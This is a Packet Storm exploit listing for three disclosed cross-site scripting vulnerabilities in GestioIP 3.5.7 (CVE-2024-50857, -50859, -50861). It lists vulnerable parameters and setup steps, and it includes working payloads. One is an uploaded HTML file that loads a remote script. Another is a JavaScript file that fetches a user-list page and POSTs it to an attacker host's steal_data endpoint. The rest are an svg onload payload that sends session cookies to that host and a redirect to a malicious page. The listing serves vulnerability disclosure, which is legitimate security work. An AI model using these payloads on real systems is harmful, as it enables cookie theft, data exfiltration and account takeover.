📄 GestioIP 3.5.7 Cross Site Scripting

🗓️ 15 Apr 2025 00:00:00Reported by Maximiliano BelinoType

packetstorm🔗 packetstorm.news👁 259 Views

GestioIP 3.5.7 allows Cross-Site Scripting, risking data exfiltration and CSRF attacks.

Reporter	Title	Published	Views	Family All 31
Circl	CVE-2024-50857	15 Jan 202500:03	–	circl
Circl	CVE-2024-50859	15 Jan 202500:03	–	circl
Circl	CVE-2024-50861	14 Jan 202522:09	–	circl
CNNVD	GestioIP 安全漏洞	14 Jan 202500:00	–	cnnvd
CNNVD	GestioIP 安全漏洞	14 Jan 202500:00	–	cnnvd
CNNVD	GestioIP 安全漏洞	14 Jan 202500:00	–	cnnvd
CVE	CVE-2024-50857	14 Jan 202500:00	–	cve
CVE	CVE-2024-50859	14 Jan 202500:00	–	cve
CVE	CVE-2024-50861	14 Jan 202500:00	–	cve
Cvelist	CVE-2024-50857	14 Jan 202500:00	–	cvelist

# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Cross-Site Scripting (XSS)
    # Exploit Author: m4xth0r (Maximiliano Belino)
    # Author website: https://maxibelino.github.io/
    # Author email (max.cybersecurity at belino.com)
    # GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857
    # Date: 2025-01-13
    # Vendor Homepage: https://www.gestioip.net/
    # Software Link: https://www.gestioip.net/en/download/
    # Version: GestioIP v3.5.7
    # Tested on: Kali Linux
    # CVE: CVE-2024-50857
    
    ### Description
    
    The `"ip_do_job"` feature of GestioIP 3.5.7 is vulnerable to XSS, leading to data exfiltration and CSRF attacks. Two examples are described below.
    
    ### Prerequisites
    
    To successfully exploit the XSS vulnerability, the user must be part of a "User Group" that has the following three permissions:
    
    • Show backuped device configurations (read_device_config_perm)
    • Upload device configurations (write_device_config_perm)
    • Administrate CM (administrative_cm_perm)
    
    
    
    1) vulnerable parameter: `host_id`
    
    http://localhost/gestioip/res/cm/ip_do_job.cgi?client_id=1&host_id='<script>alert("test")</script>'
    
    
    2) vulnerable parameter: `stored_config`
    
    http://localhost/gestioip/res/cm/ip_do_job.cgi?client_id=1&stored_config='<script>alert("test")</script>'
                
    
    
    -----
    
    # Exploit Title: GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)
    # Exploit Author: m4xth0r (Maximiliano Belino)
    # Author website: https://maxibelino.github.io/
    # Author email (max.cybersecurity at belino.com)
    # GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50859
    # Date: 2025-01-13
    # Vendor Homepage: https://www.gestioip.net/
    # Software Link: https://www.gestioip.net/en/download/
    # Version: GestioIP v3.5.7
    # Tested on: Kali Linux
    # CVE: CVE-2024-50859
    
    ### Description
    
    The ip_import_acl_csv request is vulnerable to Reflected XSS (Reflected Cross-Site Scripting); the user can upload a file and the file content is reflected in the HTML response without being sanitized. If the file uploaded by the user has an incorrect format and an error occurs during its processing, part of the file's content may be displayed in the browser. If this content includes HTML or scripts and it is not properly escaped, the browser could interpret it, leading to a security vulnerability. This could allow data exfiltration and enabling CSRF (Cross-Site Request Forgery) attacks.
    Proper input validation and output encoding are critical to prevent this vulnerability.
    
    
    ### Prerequisites
    
    Enable (set to 'yes') the parameter:
    
    Manage > Manage GestioIP > ACL connection management
    
    
    ### Usage
    
    Select: import/export > Import ACLs/ACL Connections
    
    Select: "Connection List"
    
    Select "report only"
    
    Browse to select the file you want to upload.
    
    Click 'upload'
    
    
    
    ### Payloads
    
    #### 1) html file to upload
    
    <html><script src="http://10.20.0.1:8090/refxss_exfiltrate_3.js"></script></html>
    
    
    #### 2) js file to exfiltrate data
    
    var req1 = new XMLHttpRequest();
    req1.open('GET',"http://localhost/gestioip/res/ip_show_user.cgi", false);
    req1.send();
    
    response = req1.responseText;
    
    var req2 = new XMLHttpRequest();
    req2.open('POST', "http://10.20.0.1:8000/steal_data", false);
    req2.setRequestHeader('Content-Type', 'text/html');
    req2.send(response);
    
    
    -----
    
    # Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting
    # Exploit Author: m4xth0r (Maximiliano Belino)
    # Author website: https://maxibelino.github.io/
    # Author email: max.cybersecurity at belino.com
    # GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861
    # Date: 2025-01-13
    # Vendor Homepage: https://www.gestioip.net/
    # Software Link: https://www.gestioip.net/en/download/
    # Version: GestioIP v3.5.7
    # Tested on: Kali Linux
    # CVE: CVE-2024-50861
    
    ### Description
    
    The http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the "DNS Key" page will trigger the Stored XSS, leading to the execution of malicious code.
    
    ### Prerequisites
    
    1. Enable "DNS Key" Feature
    First, ensure that "Dynamic DNS updates" is enabled in the global configuration:
    
    Manage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes
    
    This will enable the following menus:
    
        Manage > DNS Keys
        Manage > DNS Update User
    
    2. Create a DNS Key Entry
    
    To create a new DNS key entry and also edit an existing one, the user must belong to a group with the "Manage Sites And Categories" permission. By default, "Admin" and "GestioIP Admin" groups have this permission.
    
    Also, you can configure this permission to any group under:
    
    Manage > User Groups > Manage Sites and Categories
    
    3. Enter payload.
    
    Once group permission is set, input one of the following payloads into the "TSIG Key" (tsig_key) field and save it.
    
    
    ### Payloads
    
    1 - Test basic XSS
    
    <script>alert("test")</script>
    
    
    2 - Send data (cookies) to the attacker's server
    
    <svg/onload="fetch('http://10.20.0.1:8000/steal_data',{method:'POST',body:document.cookie})">
    
    
    3 - Redirect the user to a malicious site
    
    <svg/onload="window.location='http://10.20.0.1:8090/malicious_page.html'">

15 Apr 2025 00:00Current

6.4Medium risk

Vulners AI Score6.4

CVSS 3.16.1

EPSS0.01176

SSVC